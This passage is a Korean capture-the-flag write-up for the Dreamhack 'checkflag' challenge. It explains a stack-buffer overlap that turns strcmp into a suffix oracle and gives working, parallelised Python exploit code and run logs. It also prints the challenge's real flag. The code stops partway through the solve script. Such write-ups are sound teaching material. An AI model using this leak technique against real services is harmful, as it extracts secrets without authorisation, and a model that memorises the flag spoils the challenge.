tools_oracle_demo.py ์ถœ๋ ฅ โ€” d ๋ฅผ 0ยท3ยท7 ๋กœ ๋Š˜๋ ค ๊ฐ€๋ฉฐ ๋ณด๋‚ธ ๊ธธ์ด์™€ ์ขŒ๋ณ€ยท์šฐ๋ณ€์„ ๋‚˜๋ž€ํžˆ ์ฐ์—ˆ๋‹ค. d ๊ฐ€ ์ปค์งˆ์ˆ˜๋ก strcmp ๊ฐ€ ๋ฌป๋Š” flag ๊ผฌ๋ฆฌ๊ฐ€ ์งง์•„์ง„๋‹ค

ํ‘œ๋กœ ๋ณด๋ฉด ์ด๋ ‡๋‹ค. flag ๊ฐ€ DH{ABCDEF} ๋ผ๊ณ  ํ•˜์ž.

d๋ณด๋‚ธ ๊ธธ์ด์ขŒ๋ณ€(์ž…๋ ฅ)์šฐ๋ณ€(flag ๋ฒ„ํผ)๋ฌผ์–ด๋ณด๋Š” ๊ฒƒ
00x40?DH{ABCDEF}flag ์ „์ฒด๊ฐ€ ? ์ธ๊ฐ€
30x43AAA?AAA{ABCDEF} ์˜ ๋’ค โ†’ AAA + ABCDEF}flag[3:] ๊ฐ€ ? ์ธ๊ฐ€
70x47AAAAAAA?AAAAAAA + EF}flag[7:] ๊ฐ€ ? ์ธ๊ฐ€

d ๋ฅผ ํ‚ค์šฐ๋ฉด ๋ฌผ์–ด๋ณด๋Š” ๊ผฌ๋ฆฌ๊ฐ€ ์งง์•„์ง„๋‹ค. d = len-1 ์—์„œ ์‹œ์ž‘ํ•ด ๋งˆ์ง€๋ง‰ ํ•œ ๊ธ€์ž๋ถ€ํ„ฐ ๋งžํžˆ๊ณ , ๋งžํžŒ ๊ธ€์ž๋ฅผ ์ถ”์ธก์— ์ด์–ด ๋ถ™์ด๋ฉด์„œ d ๋ฅผ ํ•˜๋‚˜์”ฉ ์ค„์ด๋ฉด ์ „์ฒด๊ฐ€ ๋ณต์›๋œ๋‹ค.

๊ธธ์ด๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์–ป๋Š”๋‹ค. d ๊ฐ€ flag ๊ธธ์ด ์ด์ƒ์ด๋ฉด ์šฐ๋ณ€์ด K ๋ฟ์ด ๋˜์–ด, ์ถ”์ธก์„ ๋นˆ ๋ฌธ์ž์—ด๋กœ ๋‘๋ฉด ์ขŒ๋ณ€๋„ K ๋ผ ๋ฌด์กฐ๊ฑด ์ผ์น˜ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋นˆ ์ถ”์ธก์ด ์ฒ˜์Œ ํ†ต๊ณผํ•˜๋Š” d ๊ฐ€ ๊ณง flag ๊ธธ์ด๋‹ค.

def find_length(io, workers):
    """d >= len(flag) ์ด๋ฉด B ๊ฐ€ K ๋ฟ์ด๋ผ A ์™€ ๊ฐ™์•„์ง„๋‹ค."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("๊ธธ์ด ํŒ๋ณ„ ์‹คํŒจ")

ํ•œ ๊ธ€์ž๋ฅผ ํ™•์ •ํ•˜๋ ค๋ฉด ์ตœ๋Œ€ 95๋ฒˆ(0x20~0x7e) ๋ฌผ์–ด๋ด์•ผ ํ•˜๋ฏ€๋กœ, ํ›„๋ณด๋ฅผ ์Šค๋ ˆ๋“œ๋กœ ๋ณ‘๋ ฌ ์งˆ์˜ํ•˜๊ณ  flag ์— ์ž์ฃผ ์“ฐ์ด๋Š” ๋ฌธ์ž๋ฅผ ์•ž์œผ๋กœ ๋‹น๊ฒจ ํƒ์ƒ‰ ํšŸ์ˆ˜๋ฅผ ์ค„์˜€๋‹ค.

CHARSET  = bytes([0x0a]) + bytes(range(0x20, 0x7f))
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET  = bytes(dict.fromkeys(PRIORITY + CHARSET))

0x0a ๋ฅผ ๋„ฃ์–ด ๋‘” ์ด์œ ๋Š” ๋’ค์—์„œ ์„ค๋ช…ํ•œ๋‹ค. ๋ฌธ์ œ ์„ค๋ช…์€ ์ถœ๋ ฅ ๊ฐ€๋Šฅํ•œ ASCII ๋งŒ ์“ด๋‹ค๊ณ  ํ–ˆ์ง€๋งŒ, ๋ฉ”๋ชจ๋ฆฌ์— ์‹ค์ œ๋กœ ๋“ค์–ด ์žˆ๋Š” ๋ฌธ์ž์—ด์€ ๊ทธ๊ฒƒ๊ณผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ๋‹ค.

์ •๋ง ๋‘ ๊ฐˆ๋ž˜๋กœ ๊ฐˆ๋ฆฌ๋Š”์ง€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ง์ ‘ ๋ฌผ์–ด๋ดค๋‹ค. d=4 ์— ๋ง๋„ ์•ˆ ๋˜๋Š” ์ถ”์ธก์„ ๋„ฃ์€ ๊ฒƒ๊ณผ, d=12 ์— ์‹ค์ œ ๊ผฌ๋ฆฌ(2G!})๋ฅผ ๋„ฃ์€ ๊ฒƒ์„ ๋‚˜๋ž€ํžˆ ๋ณด๋‚ธ๋‹ค.

tools_oracle_channel.py ์ „๋ฌธ์ด๋‹ค. ์„œ๋ฒ„ ์ฃผ์†Œ๋Š” ์ž๊ธฐ ์ธ์Šคํ„ด์Šค ๊ฒƒ์œผ๋กœ ๋ฐ”๊ฟ”์•ผ ํ•œ๋‹ค.

#!/usr/bin/env python3
"""์˜ค๋ผํด์˜ ๊ด€์ธก ์ฑ„๋„์ด ์‹ค์ œ๋กœ ๋‘ ๊ฐˆ๋ž˜์ธ์ง€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋ฌผ์–ด๋ณธ๋‹ค."""
import socket
HOST, PORT, BUF = "host3.dreamhack.games", 15870, 0x40
 
def ask(payload: bytes) -> bytes:
    s = socket.create_connection((HOST, PORT), timeout=8)
    s.recv(64)                       # "What's the flag? "
    s.sendall(payload)
    out = b""
    while True:
        c = s.recv(256)
        if not c:
            break
        out += c
    s.close()
    return out.strip()
 
def build(d: int, guess: bytes) -> bytes:
    K = b"A" * d
    A = K + guess
    return A + b"\x00" * (BUF - len(A)) + K
 
print("d=4  ์ถ”์ธก 'XXX'   โ†’", ask(build(4,  b"XXX")))    # flag[4:] ๊ฐ€ XXX ์ผ ๋ฆฌ ์—†๋‹ค
print("d=12 ์ถ”์ธก '2G!}'  โ†’", ask(build(12, b"2G!}")))   # flag[12:] ๋Š” ์‹ค์ œ๋กœ 2G!}
python3 tools_oracle_channel.py

tools_oracle_channel.py ๋กœ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ง์ ‘ ๋ฌผ์–ด๋ณธ ์‘๋‹ต โ€” d=4 ์˜ ํ‹€๋ฆฐ ์ถ”์ธก์€ Failed!, d=12 ์˜ ๋งž๋Š” ์ถ”์ธก์€ Correct! ๋กœ ์ •ํ™•ํžˆ ๊ฐˆ๋ฆฐ๋‹ค. ์ด ํ•œ ๋น„ํŠธ๊ฐ€ ์˜ค๋ผํด์ด๋‹ค
tools_oracle_channel.py ๋กœ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ์ง์ ‘ ๋ฌผ์–ด๋ณธ ์‘๋‹ต โ€” d=4 ์˜ ํ‹€๋ฆฐ ์ถ”์ธก์€ Failed!, d=12 ์˜ ๋งž๋Š” ์ถ”์ธก์€ Correct! ๋กœ ์ •ํ™•ํžˆ ๊ฐˆ๋ฆฐ๋‹ค. ์ด ํ•œ ๋น„ํŠธ๊ฐ€ ์˜ค๋ผํด์ด๋‹ค

Failed! ์™€ Correct! ๋กœ ๊นจ๋—ํ•˜๊ฒŒ ๊ฐˆ๋ฆฐ๋‹ค. ์ด ํ•œ ๋น„ํŠธ๊ฐ€ ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€์ง„ ์ „๋ถ€์ด์ž, ํ•„์š”ํ•œ ์ „๋ถ€๋‹ค.

๋ณต์› ๋ฃจํ”„๋Š” ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค. ์ด๋ฏธ ๋งžํžŒ ๋’ท๋ถ€๋ถ„ known ์•ž์— ํ›„๋ณด ํ•œ ๊ธ€์ž๋ฅผ ๋ถ™์—ฌ ๋ฌผ์–ด๋ณธ๋‹ค.

def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):          # ๋’ค์—์„œ๋ถ€ํ„ฐ
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
            if found is not None:
                break
        if found is None:
            raise RuntimeError(f"{pos}๋ฒˆ์งธ ๋ฌธ์ž ๋ณต์› ์‹คํŒจ")
        known = bytes([found]) + known
    return known

์งˆ์˜ ํšŸ์ˆ˜๋Š” ์ตœ์•…์˜ ๊ฒฝ์šฐ ๊ธธ์ด ร— 95 ๋‹ค. ์›๊ฒฉ 16๊ธ€์ž๋ฉด 1,520๋ฒˆ์ธ๋ฐ, ์‹ค์ œ๋กœ๋Š” ์šฐ์„ ์ˆœ์œ„ ๋ฌธ์ž์—ด ๋•๋ถ„์— ํ›จ์”ฌ ์ ๊ฒŒ ๋๋‚œ๋‹ค. ๊ทธ๋ž˜๋„ ๋งค ์งˆ์˜๊ฐ€ TCP ์—ฐ๊ฒฐ ํ•œ ๋ฒˆ์ด๋ผ ๋ณ‘๋ ฌํ™”๊ฐ€ ํ•„์š”ํ•˜๋‹ค. ์›Œ์ปค 8๊ฐœ๋กœ ๋ฌถ์–ด ํ•œ ๋ฒˆ์— 8๊ธ€์ž ํ›„๋ณด๋ฅผ ๋™์‹œ์— ๋˜์ง„๋‹ค.

4. ๋กœ์ปฌ ๊ฒ€์ฆ

์›๊ฒฉ์— ๋ถ™๊ธฐ ์ „์— ๊ฐ€์งœ flag ๋กœ ๊ธฐ๋ฒ•์ด ๋„๋Š”์ง€ ํ™•์ธํ•œ๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ CWD ์˜ flag ํŒŒ์ผ์„ ์—ด๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ํŒŒ์ผ์ด ์žˆ๋Š” ๋””๋ ‰ํ† ๋ฆฌ์—์„œ ์‹คํ–‰ํ•ด์•ผ ํ•œ๋‹ค.

๋กœ์ปฌ ๊ฐ€์งœ flag ๋กœ ๊ธฐ๋ฒ•์„ ๊ฒ€์ฆํ•œ ํ™”๋ฉด โ€” solve.py ๊ฐ€ ๊ธธ์ด 39 ๋ฅผ ๋จผ์ € ํŒ๋ณ„ํ•œ ๋’ค ๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ๋ถ™์—ฌ ๊ฐ€๋ฉฐ ์ „๋ถ€ ๋ณต์›ํ•˜๊ณ  ๋งˆ์ง€๋ง‰ ์ค„์— ์™„์„ฑ๋œ flag ๋ฅผ ์ฐ๋Š”๋‹ค
๋กœ์ปฌ ๊ฐ€์งœ flag ๋กœ ๊ธฐ๋ฒ•์„ ๊ฒ€์ฆํ•œ ํ™”๋ฉด โ€” solve.py ๊ฐ€ ๊ธธ์ด 39 ๋ฅผ ๋จผ์ € ํŒ๋ณ„ํ•œ ๋’ค ๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ๋ถ™์—ฌ ๊ฐ€๋ฉฐ ์ „๋ถ€ ๋ณต์›ํ•˜๊ณ  ๋งˆ์ง€๋ง‰ ์ค„์— ์™„์„ฑ๋œ flag ๋ฅผ ์ฐ๋Š”๋‹ค

๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ์ž๋ผ๋‚˜๋Š” ๊ฒŒ ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค. 0.8์ดˆ์— 39๊ธ€์ž๊ฐ€ ๋‚˜์™”๋‹ค.

๐Ÿ”ง ์‚ฝ์งˆ โ€” ๊ธธ์ด๊ฐ€ 39 ์ธ๋ฐ flag ๋Š” 38๊ธ€์ž์˜€๋‹ค

๋กœ์ปฌ ๊ฐ€์งœ flag ๋Š” DH{l0cal_t3st_fl4g_for_checkflag_5678} ๋กœ 38๊ธ€์ž๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ๊ธธ์ด ํŒ๋ณ„์€ 39 ๋ฅผ ๋Œ๋ ค์คฌ๊ณ , ๋ณต์›๋œ ๋งˆ์ง€๋ง‰ ๊ธ€์ž๊ฐ€ \n ์ด์—ˆ๋‹ค.

์›์ธ์€ fgets ๋‹ค. fgets ๋Š” ๊ฐœํ–‰์„ ๋ฒ„๋ฆฌ์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ๋‚จ๊ธด๋‹ค. flag ํŒŒ์ผ ๋์— ๊ฐœํ–‰์ด ์žˆ์œผ๋ฉด ๋ฉ”๋ชจ๋ฆฌ์ƒ ๋ฌธ์ž์—ด์€ DH{...}\n ์ด ๋˜๊ณ , strcmp ๋Š” ๊ทธ ๊ฐœํ–‰๊นŒ์ง€ ํฌํ•จํ•ด ๋น„๊ตํ•œ๋‹ค.

๊ทธ๋ž˜์„œ CHARSET ์— 0x0a ๋ฅผ ๋„ฃ์–ด ๋’€๋‹ค. ์ด๊ฑธ ๋นผ๋จน์œผ๋ฉด ๋งˆ์ง€๋ง‰ ํ•œ ๊ธ€์ž์—์„œ ํ›„๋ณด๊ฐ€ ์ „๋ถ€ ์‹คํŒจํ•˜๊ณ  RuntimeError ๋กœ ์ฃฝ๋Š”๋‹ค โ€” ์•ž์˜ 38๊ธ€์ž๋ฅผ ๋‹ค ๋งžํ˜€ ๋†“๊ณ  ๋งˆ์ง€๋ง‰์— ๋ง‰ํžˆ๋Š” ํ˜•ํƒœ๋ผ ์›์ธ์„ ์ฐพ๊ธฐ๋„ ํ—ท๊ฐˆ๋ฆฐ๋‹ค.

์žฌ๋ฏธ์žˆ๋Š” ๊ฑด ์›๊ฒฉ์€ 39๊ฐ€ ์•„๋‹ˆ๋ผ 16์ด ๋‚˜์™”๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ์„œ๋ฒ„์˜ flag ํŒŒ์ผ์—๋Š” ๋ ๊ฐœํ–‰์ด ์—†๋‹ค. ๊ฐ™์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ผ๋„ ํŒŒ์ผ์„ ์–ด๋–ป๊ฒŒ ๋งŒ๋“ค์—ˆ๋А๋ƒ์— ๋”ฐ๋ผ ๋ฉ”๋ชจ๋ฆฌ์ƒ ๊ธธ์ด๊ฐ€ ๋‹ฌ๋ผ์ง„๋‹ค.

5. ์›๊ฒฉ์—์„œ ์ง„์งœ flag

๋กœ์ปฌ์—์„œ ํ™•์ •๋œ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ์„œ๋ฒ„์— ๋ถ™์ธ๋‹ค. ์„œ๋น„์Šค๋Š” TCP ๋กœ ์—ด๋ ค ์žˆ๊ณ  ์ ‘์†ํ•˜๋ฉด What's the flag? ๋ฐฐ๋„ˆ๋ฅผ ๋ณด๋‚ธ๋‹ค. ์ต์Šค๋ฅผ ๋ถ™์ด๊ธฐ ์ „์— ํ”„๋กœํ† ์ฝœ๋ถ€ํ„ฐ ํ•œ ์ค„๋กœ ํ™•์ธํ–ˆ๋‹ค.

python3 -c "
import socket
s=socket.create_connection((\"host3.dreamhack.games\",15870),timeout=8)
print(\"๋ฐฐ๋„ˆ:\", s.recv(64))
s.sendall(b\"test\n\"); print(\"์‘๋‹ต:\", s.recv(64)); s.close()"

tools_banner.py ๋กœ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋ถ™์–ด ํ™•์ธํ•œ ํ™”๋ฉด โ€” ๋ฐฐ๋„ˆ๋Š” What's the flag? ์ด๊ณ  ์•„๋ฌด ๊ฐ’์ด๋‚˜ ๋ณด๋‚ด๋ฉด Failed! ๊ฐ€ ๋Œ์•„์˜จ๋‹ค
tools_banner.py ๋กœ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์— ๋ถ™์–ด ํ™•์ธํ•œ ํ™”๋ฉด โ€” ๋ฐฐ๋„ˆ๋Š” What's the flag? ์ด๊ณ  ์•„๋ฌด ๊ฐ’์ด๋‚˜ ๋ณด๋‚ด๋ฉด Failed! ๊ฐ€ ๋Œ์•„์˜จ๋‹ค

์›๊ฒฉ ํด๋ž˜์Šค๋Š” ์†Œ์ผ“์„ ์—ด๊ณ  ๋ฐฐ๋„ˆ๋ฅผ ๋ฒ„๋ฆฐ ๋’ค ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์— Correct! ๊ฐ€ ์žˆ๋Š”์ง€๋งŒ ๋ณธ๋‹ค. ์งˆ์˜๊ฐ€ ์ˆ˜๋ฐฑ ๋ฒˆ ๋‚˜๊ฐ€๋ฏ€๋กœ ๋„คํŠธ์›Œํฌ ์˜ค๋ฅ˜๋Š” ๋ช‡ ๋ฒˆ ์žฌ์‹œ๋„ํ•œ๋‹ค.

class Remote:
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # ๋„คํŠธ์›Œํฌ ์˜ค๋ฅ˜๋Š” ์žฌ์‹œ๋„
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("์—ฐ๊ฒฐ ์‹คํŒจ")

๋Œ๋ฆฐ ๊ฒฐ๊ณผ๋‹ค.

์›๊ฒฉ ์„œ๋ฒ„๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ™”๋ฉด โ€” ๋ฉ”๋ชจ๋ฆฌ์ƒ flag ๊ธธ์ด 16 ์„ ๋จผ์ € ํŒ๋ณ„ํ•˜๊ณ  ๋’ค์—์„œ๋ถ€ํ„ฐ 16๊ธ€์ž๋ฅผ ์ฐจ๋ก€๋กœ ๋ณต์›ํ•ด ๋งˆ์ง€๋ง‰ ์ค„์— ์ง„์งœ flag ๋ฅผ ๋ฝ‘์•„๋ƒˆ๋‹ค
์›๊ฒฉ ์„œ๋ฒ„๋ฅผ ์ƒ๋Œ€๋กœ solve.py ๋ฅผ ๋Œ๋ฆฐ ํ™”๋ฉด โ€” ๋ฉ”๋ชจ๋ฆฌ์ƒ flag ๊ธธ์ด 16 ์„ ๋จผ์ € ํŒ๋ณ„ํ•˜๊ณ  ๋’ค์—์„œ๋ถ€ํ„ฐ 16๊ธ€์ž๋ฅผ ์ฐจ๋ก€๋กœ ๋ณต์›ํ•ด ๋งˆ์ง€๋ง‰ ์ค„์— ์ง„์งœ flag ๋ฅผ ๋ฝ‘์•„๋ƒˆ๋‹ค

[+] ๋ฉ”๋ชจ๋ฆฌ์ƒ flag ๋ฌธ์ž์—ด ๊ธธ์ด = 16
  [15] }
  [14] !}
  [13] G!}
  ...
  [ 1] H{RHP1_ZPWR2G!}
  [ 0] DH{RHP1_ZPWR2G!}
[+] FLAG = DH{RHP1_ZPWR2G!}

16์ดˆ. ๋กœ์ปฌ 39๊ธ€์ž๋ณด๋‹ค ์งง์•„์„œ ๋” ๋นจ๋ฆฌ ๋๋‚ฌ๋‹ค.

์ œ์ถœ์€ ์ฒซ ์‘๋‹ต์ด "์˜ค๋‹ต" ์œผ๋กœ ๋‚˜์™”๋‹ค๊ฐ€ ํ•œ ๋ฒˆ ๋” ๋„ฃ์œผ๋‹ˆ ์ •๋‹ต ์ฒ˜๋ฆฌ๋๋‹ค. ์ด ์‚ฌ์ดํŠธ์—์„œ ์ข…์ข… ๊ฒช๋Š” ์˜คํƒ์ด๋ผ, ๊ฐ’์„ ์˜์‹ฌํ•˜๊ธฐ ์ „์— ์žฌ์ œ์ถœํ•ด ๋ณด๋Š” ํŽธ์ด ๋‚ซ๋‹ค.

์™œ ๋ณ‘๋ ฌํ™”๊ฐ€ ํ•„์š”ํ–ˆ๋‚˜

๋กœ์ปฌ์€ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒˆ๋กœ ๋„์šฐ๋Š” ๊ฒƒ๋ฟ์ด๋ผ 39๊ธ€์ž๊ฐ€ 0.8์ดˆ์— ๋๋‚ฌ๋‹ค. ์›๊ฒฉ์€ ๋‹ค๋ฅด๋‹ค. ask() ํ•œ ๋ฒˆ์ด TCP ์—ฐ๊ฒฐยท๋ฐฐ๋„ˆ ์ˆ˜์‹ ยท์ „์†กยท์‘๋‹ต ์ˆ˜์‹ ยท์ข…๋ฃŒ ์ „ ๊ณผ์ •์ด๋ผ ์™•๋ณต ์ง€์—ฐ์ด ๊ทธ๋Œ€๋กœ ์Œ“์ธ๋‹ค.

์ˆœ์ฐจ๋กœ ๋Œ๋ฆฌ๋ฉด ์ตœ์•… 1,520ํšŒ ร— ์™•๋ณต์‹œ๊ฐ„์ด ๋˜์–ด ๋ช‡ ๋ถ„ ๋‹จ์œ„๋กœ ๋Š˜์–ด์ง„๋‹ค. ์„œ๋ฒ„๊ฐ€ ์ ‘์†์„ ์ œํ•œํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์„ ์ด์šฉํ•ด ์›Œ์ปค 8๊ฐœ๋กœ ํ›„๋ณด๋ฅผ ๋ฌถ์–ด ๋˜์กŒ๋”๋‹ˆ 16์ดˆ๋กœ ์ค„์—ˆ๋‹ค.

๋ณ‘๋ ฌํ™”์—์„œ ํ•œ ๊ฐ€์ง€ ์กฐ์‹ฌํ•  ๊ฒŒ ์žˆ๋‹ค. ThreadPoolExecutor.map ์€ ์ž…๋ ฅ ์ˆœ์„œ๋Œ€๋กœ ๊ฒฐ๊ณผ๋ฅผ ๋Œ๋ ค์ฃผ๋ฏ€๋กœ, ๊ฐ™์€ ๋ฐฐ์น˜์—์„œ ์—ฌ๋Ÿฌ ํ›„๋ณด๊ฐ€ ๋™์‹œ์— Correct! ๋ฅผ ๋ฐ›๋Š” ์ƒํ™ฉ(์ด๋ก ์ƒ ์—†์–ด์•ผ ํ•˜์ง€๋งŒ)์ด ์™€๋„ ์•ž์„  ํ›„๋ณด๋ฅผ ๋จผ์ € ์ฑ„ํƒํ•œ๋‹ค. ์ˆœ์„œ๊ฐ€ ๋’ค์„ž์ด์ง€ ์•Š์œผ๋‹ˆ ๊ฒฐ๊ณผ๊ฐ€ ํ”๋“ค๋ฆฌ์ง€ ์•Š๋Š”๋‹ค.

์‹ค์ œ๋กœ ์“ด solve.py ์ „๋ฌธ

์œ„ ์บก์ณ ๋‘ ์žฅ(๋กœ์ปฌยท์›๊ฒฉ)์„ ๋งŒ๋“  ๋ฐ”๋กœ ๊ทธ ํŒŒ์ผ์ด๋‹ค. ์•ž์—์„œ ์กฐ๊ฐ์œผ๋กœ ๋‚˜๋ˆ  ์„ค๋ช…ํ–ˆ์ง€๋งŒ, ์กฐ๊ฐ๋งŒ ๋ณด๊ณ  ๋‹ค์‹œ ์กฐ๋ฆฝํ•˜๋ ค๋ฉด ์„ฑ๊ฐ€์‹œ๋‹ˆ ํ†ต์งธ๋กœ ์‹ฃ๋Š”๋‹ค. ๋กœ์ปฌยท์›๊ฒฉ ๊ฒธ์šฉ์ด๋‹ค.

#!/usr/bin/env python3
"""checkflag (Dreamhack, Bronze III) โ€” ์Šคํƒ ๋ฒ„ํผ ๊ฒน์นจ์„ ์ด์šฉํ•œ ์ ‘๋ฏธ์‚ฌ ์ผ์น˜ ์˜ค๋ผํด flag ์ถ”์ถœ.
 
๋ฉ”๋ชจ๋ฆฌ ๋ฐฐ์น˜ (main)
    rsp+0x00 ... rsp+0xc7   read(0, rsp, 0xc8) ๋กœ ์šฐ๋ฆฌ๊ฐ€ ์ฑ„์šฐ๋Š” ์ž…๋ ฅ ๋ฒ„ํผ(200๋ฐ”์ดํŠธ, ์‹œ์ž‘ ์‹œ ์ „๋ถ€ 0)
    rsp+0x40 ... rsp+0x7f   fgets(rsp+0x40, 0x40, flag) ๋กœ ์ ์žฌ๋œ flag ๋ฌธ์ž์—ด
 
    โ†’ ์ž…๋ ฅ์ด 0x40๋ฐ”์ดํŠธ๋ฅผ ๋„˜์œผ๋ฉด flag ์•ž๋ถ€๋ถ„์„ ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์–ด์“ด๋‹ค.
      N = 0x40 + d ๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด๋ฉด flag[0:d] ๋Š” ์šฐ๋ฆฌ ๋ฐ”์ดํŠธ K ๋กœ ๋Œ€์ฒด๋˜๊ณ  flag[d:] ๋Š” ๊ทธ๋Œ€๋กœ ๋‚จ๋Š”๋‹ค.
 
      strcmp(rsp+0x00, rsp+0x40) ์ด ๋น„๊ตํ•˜๋Š” ๋‘ ๋ฌธ์ž์—ด์€
          A = (์ž…๋ ฅ ์•ž 0x40๋ฐ”์ดํŠธ ์ค‘ NUL ์•ž๊นŒ์ง€)
          B = K + flag[d:]
      A ๋ฅผ ์™„์ „ํžˆ ํ†ต์ œํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ "flag[d:] == G ์ธ๊ฐ€?" ๋ผ๋Š” ์ ‘๋ฏธ์‚ฌ ์ผ์น˜ ์˜ค๋ผํด์ด ๋œ๋‹ค.
      โ†’ ๋’ค์—์„œ๋ถ€ํ„ฐ ํ•œ ๊ธ€์ž์”ฉ ๋ณต์›.
"""
import argparse
import socket
import subprocess
from concurrent.futures import ThreadPoolExecutor
 
BUF = 0x40          # ์ž…๋ ฅ ๋ฒ„ํผ ์‹œ์ž‘ ~ flag ๋ฒ„ํผ ์‹œ์ž‘๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ
MAXLEN = 0x40       # fgets ์ตœ๋Œ€ ๊ธธ์ด
 
# fgets ๋Š” ๊ฐœํ–‰์„ ๊ทธ๋Œ€๋กœ ๋‚จ๊ธฐ๋ฏ€๋กœ 0x0a ๋„ ํ›„๋ณด์— ๋„ฃ๋Š”๋‹ค. ๋‚˜๋จธ์ง€๋Š” ๋ฌธ์ œ ์„ค๋ช…์˜ 0x20~0x7e.
CHARSET = bytes([0x0a]) + bytes(range(0x20, 0x7f))
# flag ์—์„œ ์ž์ฃผ ์“ฐ์ด๋Š” ๋ฌธ์ž๋ฅผ ์•ž์œผ๋กœ (ํƒ์ƒ‰ ํšŸ์ˆ˜ ์ ˆ์•ฝ)
PRIORITY = b"}_{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n"
CHARSET = bytes(dict.fromkeys(PRIORITY + CHARSET))
 
 
def build(d: int, guess: bytes) -> bytes:
    """flag[d:] == guess ๋ฅผ ๋ฌผ์–ด๋ณด๋Š” ํŽ˜์ด๋กœ๋“œ."""
    K = b"A" * d                      # flag ์•ž d๋ฐ”์ดํŠธ๋ฅผ ๋ฎ์–ด์“ธ ์•Œ๋ ค์ง„ ๋ฐ”์ดํŠธ
    A = K + guess                     # strcmp ์ขŒ๋ณ€์— ๋†“์„ ๊ธฐ๋Œ€ ๋ฌธ์ž์—ด
    assert len(A) < BUF, f"A too long: {len(A)}"
    head = A + b"\x00" * (BUF - len(A))   # NUL ๋กœ ๋Š์–ด A ๋ฅผ ํ™•์ •, ๋‚˜๋จธ์ง€๋Š” 0
    return head + K                       # ์ด 0x40 + d ๋ฐ”์ดํŠธ
 
 
class Local:
    def __init__(self, path):
        self.path = path
 
    def ask(self, payload: bytes) -> bool:
        p = subprocess.run([self.path], input=payload,
                           stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
        return b"Correct!" in p.stdout
 
 
class Remote:
    def __init__(self, host, port):
        self.host, self.port = host, port
 
    def ask(self, payload: bytes) -> bool:
        for _ in range(4):                     # ๋„คํŠธ์›Œํฌ ์˜ค๋ฅ˜๋Š” ์žฌ์‹œ๋„
            try:
                s = socket.create_connection((self.host, self.port), timeout=10)
                s.settimeout(10)
                s.recv(64)                     # "What's the flag? "
                s.sendall(payload)
                data = b""
                while True:
                    chunk = s.recv(256)
                    if not chunk:
                        break
                    data += chunk
                s.close()
                return b"Correct!" in data
            except OSError:
                continue
        raise RuntimeError("์—ฐ๊ฒฐ ์‹คํŒจ")
 
 
def find_length(io, workers) -> int:
    """d >= len(flag) ์ด๋ฉด B ๊ฐ€ K ๋ฟ์ด๋ผ A ์™€ ๊ฐ™์•„์ง„๋‹ค โ†’ ์ฒ˜์Œ Correct ๋‚˜์˜ค๋Š” d ๊ฐ€ ๊ณง ๊ธธ์ด."""
    for base in range(0, MAXLEN, workers):
        cand = list(range(base, min(base + workers, MAXLEN)))
        with ThreadPoolExecutor(max_workers=workers) as ex:
            hits = list(ex.map(lambda d: io.ask(build(d, b"")), cand))
        for d, ok in zip(cand, hits):
            if ok:
                return d
    raise RuntimeError("๊ธธ์ด ํŒ๋ณ„ ์‹คํŒจ")
 
 
def leak(io, length, workers, verbose=True) -> bytes:
    known = b""
    for pos in range(length - 1, -1, -1):
        found = None
        for base in range(0, len(CHARSET), workers):
            cand = CHARSET[base:base + workers]
            with ThreadPoolExecutor(max_workers=workers) as ex:
                hits = list(ex.map(lambda c: io.ask(build(pos, bytes([c]) + known)), cand))
            for c, ok in zip(cand, hits):
                if ok:
                    found = c
                    break
